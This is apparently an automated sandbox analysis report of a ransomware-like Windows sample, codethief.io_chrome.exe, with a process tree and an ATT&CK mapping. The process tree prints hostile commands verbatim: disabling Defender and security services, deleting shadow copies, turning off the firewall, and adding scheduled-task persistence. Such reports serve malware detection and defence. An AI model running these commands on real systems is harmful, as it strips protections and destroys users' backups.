PID 4136 wrote to memory of 1276	4136	codethief.io_chrome.exe	143
PID 4136 wrote to memory of 5864	4136	codethief.io_chrome.exe	144
PID 4136 wrote to memory of 5856	4136	codethief.io_chrome.exe	145
PID 4136 wrote to memory of 6096	4136	codethief.io_chrome.exe	146
PID 4136 wrote to memory of 5268	4136	codethief.io_chrome.exe	148
PID 4136 wrote to memory of 1064	4136	codethief.io_chrome.exe	155
PID 4136 wrote to memory of 3268	4136	codethief.io_chrome.exe	156
PID 3456 wrote to memory of 4080	3456	cmd.exe	157
PID 1912 wrote to memory of 4100	1912	cmd.exe	158
PID 5856 wrote to memory of 320	5856	cmd.exe	159
PID 1276 wrote to memory of 580	1276	cmd.exe	160
PID 6096 wrote to memory of 6004	6096	cmd.exe	188
PID 5864 wrote to memory of 5888	5864	cmd.exe	162
PID 4192 wrote to memory of 3920	4192	cmd.exe	163
PID 5888 wrote to memory of 1092	5888	net.exe	164
PID 4136 wrote to memory of 5796	4136	codethief.io_chrome.exe	165
PID 4136 wrote to memory of 6020	4136	codethief.io_chrome.exe	166
PID 4136 wrote to memory of 3048	4136	codethief.io_chrome.exe	167
PID 4136 wrote to memory of 4408	4136	codethief.io_chrome.exe	168
PID 4136 wrote to memory of 4400	4136	codethief.io_chrome.exe	169
PID 4136 wrote to memory of 2804	4136	codethief.io_chrome.exe	170
PID 3048 wrote to memory of 572	3048	net.exe	177
PID 3456 wrote to memory of 920	3456	cmd.exe	178
PID 5144 wrote to memory of 324	5144	chrome.exe	179
PID 5144 wrote to memory of 4804	5144	chrome.exe	180
PID 5144 wrote to memory of 2648	5144	chrome.exe	181
PID 5144 wrote to memory of 4804	5144	chrome.exe	180
PID 5144 wrote to memory of 2648	5144	chrome.exe	181
PID 5144 wrote to memory of 2152	5144	chrome.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://codethief.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffff575c728,0x7ffff575c734,0x7ffff575c740
    3⤵
    PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,9046689264870494886,10349851016548911237,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,5406221746398481979,16054484318142615261,262144 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=1892 /prefetch:2
    3⤵
    PID:2276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2204,i,8558259137024924906,7692844455993527869,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:13
    3⤵
    PID:1520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,9624033012865570523,6417518569479716700,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    PID:4216
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,11917460188768583617,6884894764692229985,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:1
    3⤵
    PID:2368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4620,i,14483070749814103122,15159403279758479076,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=4632 /prefetch:14
    3⤵
    PID:4456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4796,i,4904096765984310,16646266012564166288,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:1
    3⤵
    PID:1904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5468,i,3862025725369639548,14308015078287318264,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:14
    3⤵
    PID:324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5592,i,14690473536619833086,10615820067371310944,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:1
    3⤵
    PID:4804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5608,i,13198790735401150584,9884350243555146246,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:1
    3⤵
    PID:2648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5792,i,6928436819389232492,13222498933620369036,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
    3⤵
    PID:2152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5888,i,2478484656382220259,17189523116767244796,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:4876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5896,i,10281182413140656647,13522390706273303117,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:1
    3⤵
    PID:5288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5800,i,1747300338460419931,8197984551845468183,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:1
    3⤵
    PID:4720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5932,i,8906746468674538890,15361192921528945237,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:1
    3⤵
    PID:6004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6140,i,1346609164104811585,12536904655764846706,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:1
    3⤵
    PID:3164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5536,i,997797117505271548,169546481818538940,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:14
    3⤵
    PID:3652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5988,i,2187916017800248609,631838098610696324,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:1
    3⤵
    PID:4572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5488,i,7325433297746941281,9492743505055124083,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
    3⤵
    PID:3448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5892,i,4862988215457913105,2285049303943930368,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
    3⤵
    PID:1036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4952,i,10175266530282088874,3196591105051397900,2097152 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:9
    3⤵
    PID:3304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,14721277768868777041,12148886405657306111,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
    3⤵
    PID:3232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5840,i,5111901965094150089,10532565022167680636,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:14
    3⤵
    PID:808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5756,i,11020869946933749574,15245746079355358382,524288 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:14
    3⤵
    PID:1352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4792,i,8267577585103538098,17864089231740322843,262144 --field-trial-handle=1896,i,10031046612933158064,15826587194762787174,262144 --variations-seed-version --mojo-platform-channel-handle=1120 /prefetch:10
    3⤵
    PID:5868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5196
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2108
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5856
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3412
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3576
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6040
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6048
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2744
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4820
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4080
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3576
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5864
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5888
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5856
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6096
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:6004
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5268
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1064
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3268
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5796
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6020
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:572
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4408
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2804

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4608

C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe
1⤵
PID:5848

C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\codethief.io_chrome.exe
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery